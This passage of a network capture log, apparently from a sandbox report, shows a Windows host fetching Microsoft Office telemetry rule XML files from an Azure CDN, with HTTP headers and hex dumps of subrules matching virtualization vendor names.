xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:03 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064903Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a2g000000002y37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:03 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064903Z-185f5d8b95crwqd8hC1NYCps6800000009v000000000b13w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:03 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064903Z-185f5d8b95cf7qddhC1NYC66an00000009wg00000000ezpb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:04 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064904Z-1777c6cb754dqf99hC1TEB5nps000000093g000000007q03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:04 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064904Z-185f5d8b95cdh56ghC1NYCk1x400000003n000000000gnwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:04 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064904Z-r1d97b99577tssmjhC1TEB8kan00000008ag00000000d9hr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:04 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064904Z-185f5d8b95ckwnflhC1NYCx9qs00000009u000000000ptvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:04 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:04 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064904Z-185f5d8b95c96jn4hC1NYCbgp800000009sg00000000q7cn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:04 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49820	13.107.246.45	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:04 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:04 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064904Z-1777c6cb754whff4hC1TEBcd6c00000007vg00000000b4fb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:04 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:04 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064904Z-r1d97b99577hsvhhhC1TEByb1w00000002t0000000009mrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:04 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:05 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064905Z-185f5d8b95cmd8vfhC1NYC0g4000000005qg00000000cx4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:05 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:05 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064905Z-1777c6cb754xlpjshC1TEBv8cc000000097g00000000pgdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
